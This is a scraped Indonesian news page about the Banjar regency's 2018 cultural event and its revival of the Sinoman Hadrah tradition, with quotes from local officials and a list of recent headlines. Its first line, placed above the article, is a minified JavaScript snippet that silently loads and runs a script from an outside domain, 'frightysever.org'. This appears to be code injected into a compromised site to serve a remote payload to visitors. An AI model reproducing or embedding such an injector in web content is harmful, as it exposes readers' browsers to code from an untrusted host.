(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Ikhtiar Disbudpar Banjar Menghidupkan Kembali Sinoman Hadrah


BANJARBARU, Menyambut HUT Proklamasi Kemerdekaan RI dan Hari Jadi (Harjad) Kabupaten Banjar ke-68, sebanyak 515 peserta ikuti kegiatan event budaya tahunan yang digelar Dinas Kebudayaan dan Pariwisata (Disbudpar) Banjar, Rabu (1/8).

Kepala Disbudpar Banjar Haris Rifani mengatakan, event tahunan yang diselenggarakan meliputi enam kegiatan seperti festival Sinoman Hadrah, Festival Maulid Habsy, Festival Rebana, Festival Rudat, Lomba Bakisah Bahasa Banjar, dan Lomba Bapantun.

“Kita adakan acara ini selama 16 hari yaitu terhitung dari tanggal 1 sampai dengan 16 Agustus, adapun tujuan kegiatan ini, yang mana berkaitan dengan  hari jadi Kabupaten Banjar dan juga menyambut Hut RI yang ke 73,” jelas Haris.

Menurut Haris, pada hari pertama dalam pembukaanya kegiatan Event Budaya Tahunan Kabupaten Banjar Tahun 2018, dilaksanakan Festival Sinoman Hadrah. Mengapa memilih tema lomba tersebut, karena salah satunya untuk menghidupkan kembali seni budaya tradisional.

Sementara Baupati Banjar Khalilurrahman saat membuka event budaya ini mengatakan, apa yang dilakukan Disbudpar merupakan upaya positif dalam menggali, memperkenalkan dan melestarikan nilai-nilai budaya derah di kalangan generasi muda.

“Atas nama pemerintah Kabupaten Banjar, kami sangat menyambut baik dilaksanakannya kegiatan yang dimotori oleh Dinas Kebudayaan dan Pariwisata Kabupaten Banjar ini,” ujar Bupati Khalilurrahman.

Selain itu, lanjut Khalilurrahman, melalui kegiatan event budaya ini juga menjadi sarana mengokohkan semangat kebersamaan, persatuan, dan kesatuan. Sebab budaya merupakan tradisi yang di dalamnya mengandung nilai-nilai kesantunan sosial yang sangat perlu dipertahankan.

“Ini menjadi penting bagi generasi muda, sebagai pilar kekokohan penerus cita-cita bangsa.mengingat ancaman besar yang dihadapi sampai saat ini adalah era globalisasi yang sudah tidak terbatas lagi. Kegiatan event budaya hari ini merupakan salah satu upaya positif dalam menggali, memperkenalkan kelestarian nilai-nilai budaya daerah,” ujarnya.

Bupati Khalilurrahman mengatakan, Sinoman Hadrah sekarang sudah jarang ditemui pentas di  kampung-kampung. “Dulu ramai sekali acara seperti ini. Setiap acara ada pengantenan diarak kampung-kampung, malah jika jarak rumah pengantennya dekat, dicarikan tempat yang jauh dan diarak terus sampai berkeringat-keringat,” ceritanya. (rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Simulasi Keadaan Darurat di Terminal BBM Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - PT Pertamina Patra Niaga Integrated Terminal Banjarmasin melakukan simulasi keadaan darurat bersama… Read More

16 menit ago

Lawatan Politik Lisa Halaby Berlanjut ke PKS dan Demokrat

KANALKALIMANTAN.COM, BANJARBARU – Lawatan politik Erna Lisa Halaby terus berlanjut mendatangi dua partai politik jelang… Read More

51 menit ago

Kloter 1 Banjarmasin Sudah di Mekah, Kloter 8 Diterbangkan Hari Ini

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter 1 Embarkasi Banjarmasin dari Kabupaten Banjar, Kalimantan Selatan (Kalsel)… Read More

2 jam ago

Pj Bupati Kapuas Ngopi Santai Bersama Warga Pulau Telo

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi, ngopi santai bareng mendengar aspirasi… Read More

2 jam ago

Mahasiswa Menolak Lupa Kerusuhan Banjarmasin “Jumat Kelabu”

KANALKALIMANTAN.COM, BANJARMASIN - Tepat 27 tahun lalu, pada 23 Mei 1997 kerusuhan pecah di pengujung… Read More

3 jam ago

Gerilya Politik Lisa Halaby ke Gerindra Mencari Partai Pengusung

KANALKALIMANTAN.COM, BANJARBARU – Lobi politik Erna Lisa Halaby terus dilakukan mencari partai pengusung dalam Pemilihan… Read More

3 jam ago

This website uses cookies.